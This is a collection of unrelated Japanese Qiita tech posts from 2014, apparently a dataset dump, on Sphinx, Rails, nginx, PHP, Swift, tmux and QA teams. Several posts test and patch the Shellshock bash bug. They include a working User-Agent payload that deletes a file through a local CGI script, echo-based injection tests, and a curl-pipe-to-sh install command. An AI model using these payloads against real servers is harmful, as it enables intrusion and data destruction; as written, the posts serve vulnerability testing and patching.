OmniAICreator/Qiita-1.07M huggingface dataset:
Sphinxについてのメモ　その1（プロジェクトの作成）

SphinxはPythonで書かれたドキュメント作成ツール。
Wordなどと違ってプログラムのようにドキュメントを書ける。
[Sphinxの日本ユーザ会のページ](Sphinx-Users.jp)

プロジェクトの作り方とビルド方法の手順メモ。

# 環境
OS:Mac OS X 10.9.5
Python:Ver.2.7.7

## プロジェクトの作り方
```console
$ sphinx-quickstart
```

* 基本的に[Enter]でいいが、以下の質問は入力する必要がある。
 * プロジェクト名
 * 著者名
 * バージョン
* [sphinx-quickstartの詳細説明](http://sphinx-users.jp/gettingstarted/sphinxquickstart.html "sphinx-quickstartの詳細説明")


```text
・・・
# プロジェクト名と著者名。
The project name will occur in several places in the built documentation.
> Project name: # プロジェクトのタイトル
> Author name(s): # 著者名
・・・
# プロジェクトのバージョン
Sphinx has the notion of a "version" and a "release" for the
software. Each version can have multiple releases. For example, for
Python the version is something like 2.5 or 3.0, while the release is
something like 2.5.1 or 3.0a1.  If you don't need this dual structure,
just set both to the same value.
> Project version: 2014.09.27
> Project release [2010.09.27]:
・・・
```
* 完了すると以下のファイルが作成される
 * Makefile
 * index.rst
 * conf.py
 * make.bat
 * _static/
 * _build/
 * _templates/

## ビルド方法
### HTMLで出力する
```console
$ make html
```
_build/htmlフォルダ内にHTMLが生成される。
**index.html**を開くとドキュメントができている。
### epubで出力する
```console
$ make epub
```
_build/epubフォルダ内に生成される。
### Latex形式で出力する
```console
$ make latex
```
_build/latexフォルダ内に生成される。
Ruby Gviz gemでRailsの処理フローを描いてみる

Gvizが面白そうだったので、（うちの）Ruby on RailsのWEBサービスでの処理イメージを描いてみます。
※厳密なRailsの動作ではなく、コーディング時に見る流れをざっくり抽象化したものです。

##MacでGvizを入れる方法

```bash:bash
$ brew update
$ brew install gts
$ brew install graphviz
$ gem install gviz
```

##ソース

```ruby:sample.rb
require 'gviz'

Graph do
  global label: 'Ruby on Rails 処理イメージ'
  #Browser
  route :browser => :httpRequest
  route :httpRequest => :ruby
  route :httpResponse => :browser

  #Vies
  subgraph do
    global label: 'Views', bgcolor: :floralwhite
    route :yml => :html
    route :scss => :css
    route :bootstrap => :scss
    route :coffeeScript => :javaScript
    route :jQuery => :javaScript
    route :erb => :html
    route :haml => :erb
    route :javaScript => :httpResponseData
    route :css => :httpResponseData
    route :html => :httpResponseData
  end

  #Controllers
  subgraph do
    global label: 'Controllers', bgcolor: :azure
    route :httpResponseData => :ruby
    route :ruby => [:haml, :httpResponse]
  end

  #model
  subgraph do
    global label: 'Model', bgcolor: :palegreen
    route :ruby => :activeRecord
    route :mySQL => :activeRecord
    route :activeRecord => [:ruby, :mySQL]
  end

  save :sample, :png
end
```

- サブグラフなどは定義する場所（順番）によっても図の配置が変わる。
- 公式のカラースキームが見やすい。
http://www.graphviz.org/content/color-names

##出力画像（sample.png）

![sample.png](https://qiita-image-store.s3.amazonaws.com/0/52535/6e7b3ccd-6835-1e25-ba83-9a5a49a49da4.png "sample.png")


※技術総称・ライブラリ・フレームワーク名や関係性が入り混じっていますが、あくまでざっくりイメージです…。
Shellshock 対応 @ Elastic Beanstalk 

# 背景

素直に AMI を利用している場合は `sudo yum -y update bash` で bash のアップデートができます。

が、**2014-09-27 現在**、Elastic Beanstalk 上のインスタンスが参照しているリポジトリにはまだ Shellshock に対応した最新版の bash が配置されていないようです。

# 対応

手動で対応します。

## Amazon Linux 2013.09

```
sudo yum install -y http://packages.us-east-1.amazonaws.com/2013.09/updates/556c442ced2f/x86_64/Packages/bash-4.1.2-15.18.20.amzn1.x86_64.rpm
```

## Amazon Linux 2014.03

```
sudo yum install -y http://packages.us-east-1.amazonaws.com/2014.03/updates/e10f5b547e18/x86_64/Packages/bash-4.1.2-15.19.amzn1.x86_64.rpm
```

# 動作確認

以下のように出力されれば OK。vulnerable が表示されたら NG。

```bash
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test
```



# 参考

- [AWS Developer Forums: Update to Amazon AMI for CVE-2014-6271 ...](https://forums.aws.amazon.com/thread.jspa?threadID=161489)
- [bash の脆弱性 "Shell Shock" のめっちゃ細かい話 (CVE-2014-6721) - もろず blog](http://moro-archive.hatenablog.com/entry/2014/09/27/200553)
ショートカットを練習するためのツール作ってみた

ショートカット便利だけど、覚えるのが大変。
ということで前から欲しかった ＋ Groovy の SwingBuilder 触ってみたかったので、作ってみた。

https://github.com/opengl-8080/ShortcutExercise

![se.JPG](https://qiita-image-store.s3.amazonaws.com/0/28302/ffc9a9ea-43cd-31fe-179d-af405d9b5d9a.jpeg)

使い方とかは GitHub の Readme 参照のこと。
Railsローカルインストールからプロジェクト作成の半自動化


RailsすらもBundlerで管理したい場合は、作業が少しばかり面倒です。
その作業をシェルでやれば便利だと思ったので書いてみました。

なお、Ruby環境がまだの方は、[Javaエンジニアがいまさら始めるRuby開発環境](http://qiita.com/ko2ic/items/9204f5dba907dab37a1b)のrbenvまでを行い、この記事をやるとプロジェクトごとのrails環境が作成できるはずです。

```sh
function gi() { curl https://www.gitignore.io/api/$@ ;}

function rails_new(){

    while read -p "Please enter project name: " railsName ; do
        if [ -n "$railsName" ] ; then
            break
        fi
    done

    while read -p "Whether use Test::Unit[y/n] " skipTest ; do
        case $skipTest in
            [Yy]* ) 
                skipTest=''
                break
                ;; 
            [Nn]* ) 
                skipTest='-T'
                break
                ;;
            *)        
            echo "Please answer yes or no."
            ;;
        esac
    done

    read -p "Please enter rails version: " version 

    if [ -n "$version" ] ; then
        version=", \"$version\""
    fi

    cat << EOS > Gemfile
source "http://rubygems.org"
gem "rails"$version
EOS

    bundle install --path vendor/bundle
    bundle exec rails new $railsName --skip-bundle $skipTest 

    rm -f Gemfile
    rm -f Gemfile.lock
    rm -rf .bundle
    rm -rf vendor
    cd $railsName

    if [ "$skipTest" != "" ] ; then
    cat << EOS >> Gemfile
gem 'rspec-rails', group: [:development, :test]
gem 'factory_girl_rails', group: [:development, :test]
EOS
    fi
    bundle install --path vendor/bundle
    
    if [ "$skipTest" != "" ] ; then
        bundle exec rails g rspec:install
    fi

    gi rails > .gitignore

}
```

これを ```.bash_profile``` に書いて、

```
$ rails_new
```

で、対話式に「プロジェクト名」、「railsのバージョン」、「Test::Unitを使うかどうか（使わない場合はRSpecを利用する）」を入力するとRailsプロジェクトが作成されます。
ついでに、https://gitignore.io のapiを使ってrails用の ```.gitignore``` も作成しています。

参考
[Rails開発環境の構築（rbenvでRuby導入からBundler、Rails導入まで）](http://qiita.com/emadurandal/items/a60886152a4c99ce1017)
今更なBashのShellShockを試してみた

寒気がしましたよ。
サーバ管理者の方々はすでにBashをアップデートされていると思いますが、とりあえず備忘録ということで書いておきます。

#ShellShockのテスト

##テスト用のWEBサーバ
テスト用のWEBサーバはpythonのCLIで立ち上げるのが楽。

```bash
$ mkdir cgi-bin
$ python -m CGIHTTPServer
```

##サンプルコード
コマンド実行してればよいです。内部で/bin/bashが呼ばれるなら。

```python:cgi-bin/index.py
#!/usr/bin/python
import popen2
print "Content-type: text/html"
print
print "<html>"

stdout, stdin, stderr = popen2.popen3("ls -l /tmp/hogehoge.txt")
for x in stdout: print x + "<br>"

print "</html>"
```

ちゃんと実行権限をつけましょう。

```bash
$ chmod +x cgi-bin/index.py
$ ls -l cgi-bin/index.py
-rwxr-xr-x 1 dharry dharry 184 Sep 27 18:06 index.py
```

##ShellShock実行

ゴミファイルを作ります。

```bash
$ touch /tmp/hogehoge.txt
$ ls -l /tmp/hogehoge.txt
-rw-rw-r-- 1 dharry dharry 0 Sep 27 18:08 /tmp/hogehoge.txt
```

通常のWEBアクセス

```bash
$ curl  http://localhost:8000/cgi-bin/index.py
<html>
-rw-rw-r-- 1 dharry dharry 0 Sep 27 18:08 /tmp/hogehoge.txt
<br>
</html>
```

**ShellShock 実行!!**

```
$ curl -A "() { :; }; /bin/rm -f /tmp/hogehoge.txt"  http://localhost:8000/cgi-bin/index.py
<html>
</html>
```

あ、ファイル消えている

```bash
$ ls -l /tmp/hogehoge.txt
ls: cannot access /tmp/hogehoge.txt: No such file or directory
```

# 診断方法 (Diagnostic Steps)

あかんやつ

```bash
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
コマンドが実行できた場合に表示される内容
vulnerable
this is a test
```

直っているやつ

```bash
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test
```

# 参考
https://access.redhat.com/articles/1200223
https://www.invisiblethreat.ca/2014/09/cve-2014-6271/
UnityのGUIが実機でずれるときの簡単な対応

Unity公式的にも[NGUI](http://u3d.as/content/tasharen-entertainment/ngui-next-gen-ui/2vh)をお勧めしてて、使いづらいことで有名なUnityのGUIですが、NGUI使わない場合はどうやるのって、ちょっとハマったのメモです。

Unity4.6からこのへんやりやすくなった[uGUIが搭載されたり](http://unity3d.com/unity/beta/4.6)して今だけの話かもしれません。そうであって欲しい。

やることとしては`GUI.matrix`で想定しているスクリーンサイズにあわせて変形させるだけです。`GUI.matrix`は指定して以降の全てのGUIの描画に影響するので`GUI.matrix`を既に使ってるよって場合は使いづらい作戦かもしれません。

まず、`GUI.matrix`に設定する行列を計算する関数をつくって、

```
public static void AutoResize(int screenWidth, int screenHeight)
{
	Vector2 resizeRatio = new Vector2((float)Screen.width / screenWidth, (float)Screen.height / screenHeight);
	GUI.matrix = Matrix4x4.TRS(Vector3.zero, Quaternion.identity, new Vector3(resizeRatio.x, resizeRatio.y, 1.0f));
}
```

`OnGUI`の最初で呼び出します。これだけで以降に描画したパーツにmatrixが適応されます。`AutoResize`の引数は想定しているサイズ、自分がUnityのアプリケーション上で表示しているスクリーンサイズになると思います。適当なシーンで停止ボタン押して調整するとやりやすいです。

```
void OnGUI () {
	AutoResize(320, 480);

	GUI.Label (new Rect (10, 0, 300, 70), "hogehoge");
}

```

参考
http://www.bensilvis.com/?p=500
Vagrant使用下でのaptのダウンロード速度を向上させる



### /etc/apt/sources.list の変更

* 環境: Ubuntu12.04LTS

* archive.ubuntu.comのサーバーからapt-getでデータを取得する設定をjaistから取得するように変更

```

$ cd /etc/apt/ 
$ sudo sed -i".back" 's/http:\/\/archive.ubuntu.com\/ubuntu/http:\/\/ftp.jaist.ac.jp\/pub\/Linux\/ubuntu/' sources.list

$ sudo apt-get update 
```


（正確に測れませんでしたが、体感では3〜4倍ダウンロード速度が早くなりました。）
[備忘録]CasperJSでWebページの指定画像を自動取得


## 経緯
会社でリソースレポートを作る際、
個人的にはAPIが利用できるシステムでhtml化してさらっとやりたいんだけど、
他メンバーはOffice系の方が作りやすい！って状況がありました。

でも工数は以下のように変わらず、時間がとてもかかる。。。
① ブラウザでモニタリングシステムにログイン
② 該当ホストのリソースをグラフを確認
③ 一定の期間を指定して画像をダウンロード

それを改善するためにCasperJSを利用してみました。

## 動作環境

NodeJSで動作しますが、MacではHomebrewで簡単インストールができますので、
今回はHomebrewでインストールして試しています。

casperjsは、phantomjs最新だとstableでは未対応でしたので、
beta版をインストールしています。

```
% sw_vers
ProductName:	Mac OS X
ProductVersion:	10.9.5
BuildVersion:	13F34

% brew info phantomjs
phantomjs: stable 1.9.7 (bottled), HEAD
http://www.phantomjs.org/
/usr/local/Cellar/phantomjs/1.9.7_1 (104 files, 34M) *

% brew info casperjs 
casperjs: stable 1.0.4, devel 1.1-beta3, HEAD
http://www.casperjs.org/
/usr/local/Cellar/casperjs/1.1-beta3 (265 files, 1.9M) *
```


下記が今回作成したスクリプト例：

```
var casper = require('casper').create();

casper.start('http://yourdomain/index.php', function() {
       // ダウンロード開始をターミナルに出力(お好みで)
       this.echo("ダウンロード開始");
});
casper.waitForSelector("input[name='login_username']",
       // ログインユーザを指定
       function success() {
           this.sendKeys("input[name='login_username']", "user");
});
casper.waitForSelector("input[name='login_password']",
       // ユーザパスワードを指定
       function success() {
           this.sendKeys("input[name='login_password']", "password");
});
// ログイン処理を実施
casper.waitForSelector("form[name=login] input[type=submit][value='Login']",
       function success() {
           this.click("form[name=login] input[type=submit][value='Login']");
});
// 対象ページのグラフを名前(graph-name1.png)を指定してダウンロード
casper.thenOpen('http://yourdomain/', function(){
    var url = 'http://yourdomain/graph.php?id=1';
    this.download(url, 'graph-name1.png');
});
casper.thenOpen('http://yourdomain/', function(){
    var url = 'http://yourdomain/graph.php?id=2';
    this.download(url, 'graph-name2.png');
});
casper.then(function(){
    this.echo("ダウンロード終了");
});
// 実行
casper.run();
```

こんなコードを適当なファイル名で保存(今回はsample.jsとします)。

では、実行してみると・・・

```
%  casperjs sample.js
ダウンロード開始
ダウンロード終了
```

カレントフォルダにダウンロードしてきた画像が保存されました！
CentOS + nginx + PHP環境でのnginxの設定めも

# 自分用めも

## yumでインストールしたもの

* nginx
* php関連
* php-fpm

など

## nginxでPHPスクリプトを実行させるための設定

### メインの設定

```nginx:/etc/nginx/conf.d/default.conf
〜〜(省略)〜〜

location ~ \.php$ {
  #root html;
  root ドキュメントルートのパス;
  fastcgi_pass 127.0.0.1:9000;
  fastcgi_index index.php;
  #fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
  fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
  include fastcgi_params;

〜〜(省略)〜〜
```

### バーチャルホストの設定

```nginx:/etc/nginx/conf.d/sample.conf
server {
    listen       80;
    server_name  centos65.sample;

    location / {
        root   /var/www/html/sample;
        index  index.php index.html index.htm;
    }

    # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
    #
    location ~ \.php$ {
        fastcgi_pass   127.0.0.1:9000;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME  /var/www/html/sample/$fastcgi_script_name;
        include        fastcgi_params;
    }
}
```
PHPは整数の0と空文字列を==で比較するとtrueになる。

PHPは整数の0と空文字列を==で比較するとtrueになる。

```php:test.php
<?php

$num = 0;

var_dump($num);

$str = '';

var_dump($str);

var_dump($num == $str);

var_dump($num != $str);

var_dump($num === $str);

var_dump($num !== $str);

var_dump(intval($str));
?>
```

結果は以下の通り
```
int(0)
string(0) ""
bool(true)
bool(false)
bool(false)
bool(true)
int(0)
```
空文字列はintにcastすると0になる。
ShellShockがCGIに及ぼす影響を少し過大評価していたかも

bashの脆弱性（CVE-2014-6271など）によって、PerlやRubyのCGIから`system`関数などOSコマンドを実行するプログラム言語の機能を使うと、 _UserAgent_ などブラウザから送信されたデータが環境変数に格納された状態でbashが起動し、ShellShockが発生するという話が話題になっているが、本当にそうなのか。

# 実験

次の処理系で実験した。

- Perl（5.20.0）
- Ruby（2.1.3）
- PHP（5.6.0）
- Python3（3.4.1）

## コード

OSコマンドの`env`を呼び出して表示するだけのCGI。

### Perl

```pl
#!/usr/bin/env perl

print "Content-Type: text/html;\n\n";
print system('env');
```

### Ruby

```
#!/usr/bin/env ruby

print "Content-Type: text/html;\n\n"
print system('env')
```

### PHP

```php
#!/usr/bin/env php

<?php
	print system('env');
?>
```

### Python3

```py3
#!/usr/bin/env python3

import subprocess

print("Content-Type: text/html;\n")
print(subprocess.check_output('env'))
```

## リクエスト

リクエストは _curl_ で生成。`-A`は _UserAgent_ を指定するオプション。

```shell
$ curl -A '() { :; }; echo Hello!' localhost/index_xxx.cgi
```

# 結果

全部、環境変数に _UserAgent_ が渡されているものの、`echo Hello!`が実行されたのはPHPだけだった。

```
$ curl -A '() { :; }; echo Hello!' localhost/index_php.cgi
Hello!
SERVER_SIGNATURE=
SERVER_PORT=80
HTTP_HOST=localhost
DOCUMENT_ROOT=/Library/WebServer/Documents
SCRIPT_FILENAME=/Library/WebServer/Documents/index_php.cgi
REQUEST_URI=/index_php.cgi
SCRIPT_NAME=/index_php.cgi
__CF_USER_TEXT_ENCODING=0x46:0:0
REMOTE_PORT=50129
PATH=************
PWD=/Library/WebServer/Documents
SERVER_ADMIN=you@example.com
HTTP_ACCEPT=*/*
REMOTE_ADDR=::1
SHLVL=1
SERVER_NAME=localhost
SERVER_SOFTWARE=Apache/2.2.26 (Unix) DAV/2 mod_ssl/2.2.26 OpenSSL/0.9.8za
QUERY_STRING=
SERVER_ADDR=::1
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
HTTP_USER_AGENT=() {  :
}
_=/usr/bin/env
_=/usr/bin/env%
```

# なぜか

まずPerlとRubyはコマンドの中にシェルのメタ文字がない場合は、シェルを介さずにシステムコールを使ってコマンドを実行する。Pythonの場合は`shell=True`を付けない場合はシェルを起動しない。シェルが起動しないのでShellShockの影響は受けない。

- http://perldoc.perl.org/functions/system.html
- http://docs.ruby-lang.org/ja/2.1.0/method/Kernel/m/system.html
- http://docs.python.jp/2/library/subprocess.html#subprocess.Popen

PHPは普通にそのままシェルが立ち上がるようだ。

# 結論

PHP以外のプログラムなら、`system`のようなOSコマンドを実行する関数を利用していたとしても、必ずシェルが呼び出されているわけではないようだ。なので、`system`のような関数を使っていたとしても、それが必ずShellShockの影響を受けるわけではないと思う。
Amazon Kinesis アプリケーション開発用リンク集

Amazon kinesis関連のアプリケーション作成で参考・参照したリンクを貼っとく。

## 特徴
 * フルマネージド
 * 高信頼性
 * 1000 write(最大1MB/s) , 20 read(最大2MB/s) : １シャードあたり
 * シャードを増やすことでスループットを上げることができる

## Amazon kinesisの適用例

### ターゲットとなる課題
  * 企業の業務内容に特化したアプリケーションログのリアルタイム監視は困難
  * アドテク業界のようなリアルタイム性が必要なソリューションでは、Hadoopのようなバッチ処理では速度がでない。


### kinesisの役割
  *  リアルタイムなパイプライン処理によるログデータの監査
  *  リアルタイムなレポートの作成



# Amazon Kinesis 公式

## Amazon Kinesis 開発者用リソース

[Amazon Kinesis 開発者ガイド](http://docs.aws.amazon.com/ja_jp/kinesis/latest/dev/introduction.html])

* [Get Started](http://docs.aws.amazon.com/ja_jp/kinesis/latest/dev/getting-started.html)

[Amazon Kinesis API リファレンス](http://docs.aws.amazon.com/kinesis/latest/APIReference/Welcome.html)

## Amazon Kinesis ライブラリ
* [Amazon Kinesis クライアントライブラリ](https://github.com/awslabs/amazon-kinesis-client)
* [Amazon Kinesis コネクタライブラリ](https://github.com/awslabs/amazon-kinesis-connectors)
* [Amazon Kinesis Storm Spout](https://github.com/awslabs/kinesis-storm-spout)


# Slideshare

Amazon 公式
* [AWS Black Belt Techシリーズ Amazon Kinesis](http://www.slideshare.net/AmazonWebServicesJapan/aws-black-belt-tech-amazon-kinesis)

JAWSDAY
* [JAWSDAYS2014 Amazon Kinesis for Beginner](http://www.slideshare.net/tkonparu/jawsdays2014-amazon-kinesis-for-beginner?related=1)

AWS Cusual Talks
* [Data Stream Processing and Analysis on AWS ](http://www.slideshare.net/suzuken/data-stream-processing-and-analysis-on-aws-awscasual?related=2)

Re:invent
* [Amazon Kinesis ストリーミング・データのリアルタイム処理](http://www.slideshare.net/AmazonWebServicesJapan/aws-reinvent-2013-report-amazon-kinesis?related=3)
Swiftの`nil`は`-∞`よりも小さい ？？


この[ポスト](http://qiita.com/inamiy/items/b186e9612352b31261df)を見てちょっと確かめてみました。
Swiftの`nil`は「値がない」という定義だと理解していたのだけど，厳密には違うようです。

```swift
nil < 0                             // true
nil < -9_223_372_036_854_775_808    // true
```
ふーむ。`Int.min`よりも小さいらしい。つまり「__値がある__」。

```swift
nil < 0.0                   // true
nil < -(Double.infinity)    // true
```
なんと`-∞`よりも小さいという。

何か釈然しないものがあります。バグなのでしょうか？
Optional Chainingを使った時に問題が出そうです。

```swift
if some?.value < 0.0 { ... }
```
意図としては「`value`が負の数ならば」ですが，`some`が`nil`ならボディが実行されてしまいます。
(本当は`if let`を使うのが望ましい。)

　
ちなみに`Bool`型では,

```swift
nil == true     // false
nil == false    // false
```
となり，「値がない」ので真にも偽にもならないという直感通りの挙動を示します。

<追記> 実行環境: Xcode 6.0.1 及び Xcode 6.1 Beta on Yosemite PB3
Macで _CGXGLDisplayContextForDisplayDevice がログに出まくる問題



## 要約

* 2.1にしたら、エラーは出なくなった。
* Mac OS X (Macbook Air) のコンソールで以下のエラーが、一秒に数回出力し続ける問題
* Appleが対策しないと、基本的に解決しないようで、現時点では解決されていない模様 (2.3 Betaも出ているが多分解決してない)


## 環境

* Mac OS X 10.9.x
* MacBook Air
* 玄人志向 VGA-USB3.0/DVI (USB3.0 <-> DVI なディスプレイアダプタ)


## エラー内容

```
WindowServer[432]: _CGXGLDisplayContextForDisplayDevice: No matching context for device (0x7f9c42d034c0) - disabling OpenGL
```

## VGA-USB3.0/DVI の Mac OS X (Mavericks 10.9.x用) ドライバ

[DisplayLink: Mac OS X Software](http://www.displaylink.com/support/mac_downloads.php "DisplayLink: Mac OS X Software")


## やったこと


### VDCAssistant をdisable 

```
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.cmio.VDCAssistant.plist
```

[osx - VDCAssistant seems to be causing perpetual crash reports - Ask Different](http://apple.stackexchange.com/questions/123060/vdcassistant-seems-to-be-causing-perpetual-crash-reports "osx - VDCAssistant seems to be causing perpetual crash reports - Ask Different")

### ドライバのバージョンを2.1ににするといい?

2.1にしたら、エラーは出なくなった。
けど、2.2の意味は…


## 解決方法ではないが、ログに出さなくする方法


```
? [= Sender WindowServer] [= Level Warning] [A= Message _CGXGLDisplayContextForDisplayDevice] claim only
```

[Removing DisplayLink Driver _CGXGLDisplayContextForDisplayDevice Log Items on MacOS | James Ball](http://blog.jamesball.co.uk/2014/11/removing-displaylink-driver.html "Removing DisplayLink Driver _CGXGLDisplayContextForDisplayDevice Log Items on MacOS | James Ball")

Yosemiteでこんな方法でログを止めている人もいます。
[Stop DisplayLink driver flooding logs in OS X Yosemite | Antonio Cortés](http://www.antoniocortes.com/stop-displaylink-driver-flooding-logs-in-yosemite/)
[Vim] ctrlp.vim で選択したファイルを分割(split、vsplit)して開く

ctrlp.vim で選択したファイルは、Enter を押すと現在開いているバッファに開かれます。Enter ではなく、`Ctrl + v` を押すと縦の分割で、`Ctrl + x` を押すと横の分割で開くことができます。

下記を参考にしました。ありがとうございます。
https://github.com/kien/ctrlp.vim/issues/124
tmuxのステータスラインに文字列を流す方法



tmuxのステータスラインでは、コマンドを実行でき、その結果が定期的に表示されるという形式が取られます。したがって、文字列を流したい場合は、`for`では対応できません。

ここで、tmuxのステータスラインに文字列を流す方法を紹介します。

https://github.com/syui/command-stream

`command-stream`というスクリプトを使います。これは、コマンドの実行結果を指定の文字数内で出力するものです。

この`command-stream`をPATHの通った場所に置きます。もし置かない場合は、`~/.tmux.conf`に直接指定することになります。

```bash:
$ git clone https://github.com/syui/command-stream

$ sudo cp command-stream /usr/local/bin/

$ exec $SHELL
```

`command-stream`を`tmux`の設定ファイルに記述します。

`command-stream`は引数1にコマンドを指定し、引数2に文字数をしていします。ちなみに、引数なしでも`df | grep disk`が実行されるように設定してあります。

例えば、ディスク要領を`4`文字以内で流したい場合は、以下の様な形になります。

```bash:~/.tmux.conf
set-option -g status-left "#(command-stream \"df -h | grep disk | sed 's/  / /g' | sed -e 's/ /|/g' -e 's/||/|/g' | cut -d '|' -f 2-5\" 4)"
```


長い文字列を短い文字数内で表示したいときに便利です。

何かあれば、コメントください。
QAチーム立ち上げ

**アーリー期の「スタートアップ」** 企業や　**エクスパンションの「スタートアップ」** 企業がある程度、組織として大きくなると、社内に　**「QA組織」** **「QAチーム」** ビルディング構想が表面化します。


```lang:QA組織・QAチームビルディング構想経緯として
1.事業規模拡大による提供サービス品質保証（IPO計画する上でのサービス品質保証）
2.不具合レベル策定やリリース基準/リリース判定の計画
3.現状の不具合に対しての調査や不具合分析活動
4.社内の複数プロダクト一定の品質を担保やリリースフロー策定・改善
5.社内のエンジニアに対してQAの啓蒙活動
```

まず初めに　**「組織構築」** や、**「現状調査」**、**「人員確保」** から着手します。

※**開発**・**SRE**・**CS**チームとの**品質意識**が大事になり、QAの一方通行が一番良くない。


**「QAチームを構築」** することで何を**事業品質**として提供できるかが大事になります。

```lang:報告例
1.常に資料を作成（リリース基準・テストフローなどのアウトプットは定常的に）
2.QAチーム立ち上げ前と立ち上げ後の品質についてまとめ　
3.不具合の数が減ったことを上層部にアピールする
（※レベルの高い不具合検出をアピール）
4.開発やインフラ・SREエンジニアに対して品質意識付け
5.仕様品質改善（仕様バグ）
```

```lang:QA体制を構築するメリット
1.開発側だけのテストでは不具合が収束せず、専任チームがいることでの品質の向上
2.スピードと品質、両方大事であり、専任チームがあることで開発側の負担が無くなる
3.過去起きた障害を分析し、把握対処することに時間をかけることができる
4.QAチームの情報を開発側にも提供でき開発チームのテストへの意識が高まる
5.リリース判断をQAチームに委ねることにより、品質の最終ジャッジができる
6.不具合の改修確認を勝手にディレクター、開発者がすることなく、QAに最終権限
```

次に、どこの所属になるのかで多少は変わります。
システム開発部（開発チーム）の下なのかビジネス部（企画チーム）なのか。組織は大事です。

ま、ちょっと考えて見ましょう。


私の考えでは、企画チームは　**「QAチーム」**。開発チームは　**「テストチーム」** と位置付けております。

[役割詳細はこちらになります。](https://qiita.com/jun2014/items/32ec77be1056f546aada#%E3%83%86%E3%82%B9%E3%83%88%E6%8B%85%E5%BD%93%E3%81%A7%E3%82%82%E5%90%8D%E7%A7%B0%E3%81%8C%E3%81%84%E3%82%8D%E3%81%84%E3%82%8D
)


システム開発部(開発チーム）だと、開発エンジニアは、**テストチーム＝テスト**まるごとと思う方も少なくありません。
なので、作成したコードかけばあとはよろしくってなことになってしまいます。

開発エンジニアが、単体テストもしない。いやテストをやらない。

まずは、開発エンジニアが単体テストを実行し、ある程度担保された品質で、**テストチーム**が
**結合テスト**、**システムテスト**をします。

開発エンジニアに、**テスト**というものをレクチャーすることも仕事かもしれません。
テストは、現場によって様々なのでどう説明するか。

ビジネス部は、組織全体を見ています。
ビジネス部の**QAチーム**はこんな流れで作業します。みたいな作業マニュアルをまずは作成。

それで、QAチーム内でレビューし、他部署に展開する。開発側だけではなく運用側も対象になる。

```lang:QAチーム立ち上げ時に考慮すべき項目
1.社内プロダクトメンバーとの連携
2.メンバーの採用、教育、配置、外注管理。
3.テスト計画からテスト実行、報告まで。報告内容からのリリース判定
4.自動化できる案件のテスト自動化対応
5.QAチームのパフォーマンス（存在意義）
```

**QA組織立ち上げ**（ビルディング）開始時、必須となる項目

```lang:ビルディング開始
1.組織図（どんなチームを何名？とのように）
2.QAマネージャー（組織に必ず置きましょう。QA側の決定権と予算を持つ人間）
3.全体スケジュール作成と共有
4.上層部へグループ方針を伝える
5.リリースフローやテストフロー図、不具合レベル指標（責任範囲や、チームの作業タスクを決めるため）
6.ドキュメント用意（テスト計画書、テスト設計書、テスト仕様書、不具合起票方法）
7.正社員とテストベンダー社員のタスク（正社員は何をすべきか、またベンダーには何をしてもらうか）
8.サービス仕様の確認、不具合チケットの確認
9.作成したフローや指標を元に、稼働してみる
10.課題点は都度チーム内で共有し、フローや指標を見直す（これを繰り返しながらチーム運営する）
```

予算も考え、**外部テストベンダー**を使うことも考えましょう。
現場のテストにもよりますが、下記の契約となります。
直接指示をしたい場合は、**「派遣契約」**テストベンダーに作業を依頼し報告だけもらいたい場合**「請負契約」**

```lang:契約
1.派遣契約
2.請負契約
3.準委任契約
```
[詳細はこちらになります。](http://qiita.com/jun2014/items/d5f0b2e7baee854a202e)

**外部テストベンダー**デメリットもあります。

※やはり、**自社のQAテスター**も常時必要である。知識や質を常時確保するにも。また教育という点でも。

```lang:項目
1.実施メンバーの交代によるテストの質の低下
2.スキルシートに見合わないメンバーのアサイン
3.テスト実施案件がない場合のタスク確保
```
MacBookの年式を調べるサービスを作った


##はじめに
サービスというか、`json`作って、`script`を置いただけですが、一応、以下のコマンドで調べられるようにしました。

```bash:jqコマンドを利用した検索
$ curl -sL syui.github.io/script/macbook-model-command.sh | sh
```

```bash:元データであるjsonの出力
$ curl -s https://raw.githubusercontent.com/syui/json-script/master/json/macbook-model.json
```

###追記:

> jq依存を解消しました。

https://github.com/syui/json-script

##作った理由

###MacBookの年式を調べるコマンドがないような気がした

`system_profiler`で年式を調べられないのかと思ったのですが、よく分かりませんでした。Webに当たると、機種IDに対応したモデルにて年式が公式ページより書かれているみたいでしたので、それを参照するコマンドを作りました。

```bash:
$ curl -s http://support.apple.com/kb/{HT1635,HT4132,HT3255} | sed -n '/<tbody/,/<\/tbody>/p' | grep -B 2 `system_profiler SPHardwareDataType | grep "Model Iden" |tr -d ' ' | cut -d : -f 2`  | tr -d '\t' | sed -e 's/<[^>]*>//g' -e '/^$/d'

# test:MacBookPro11,1
$ curl -s http://support.apple.com/kb/{HT1635,HT4132,HT3255} | sed -n '/<tbody/,/<\/tbody>/p' | grep -B 2 "MacBookPro11,1" | tr -d '\t' | sed -e 's/<[^>]*>//g' -e '/^$/d'

# test:MacBook7,1
$ curl -s http://support.apple.com/kb/{HT1635,HT4132,HT3255} | sed -n '/<tbody/,/<\/tbody>/p' | grep -B 2 "MacBook7,1"  | tr -d '\t' | sed -e 's/<[^>]*>//g' -e '/^$/d'
```

###jsonが簡単に作成できるので作った

Webページの書式が定型で、`json`をすぐに作れそうなので、作成しました。

```bash:
$ curl -s https://raw.githubusercontent.com/syui/json-script/master/json/macbook-model.json
```

##その他

###system_profilerの検索

関係ありませんが、systeminfoはpecoとかで選択していくと便利そうです。

```bash:
$ system_profiler -listdatatypes | peco | xargs system_profiler -detailLevel full -xml
```

###最後に

もし年式が調べられるコマンドがあれば教えて下さい。また、データに不備があった場合も知らせてもらえると嬉しいです。

`json`を置いて、スクリプトを実行するという形式については、セキュリティ上の懸念などがあるかもしれませんが、その辺り、おすすめの形式というか形態があれば教えて下さい。
Linuxでちゃんと電源を切るには shutdown -h now を使う

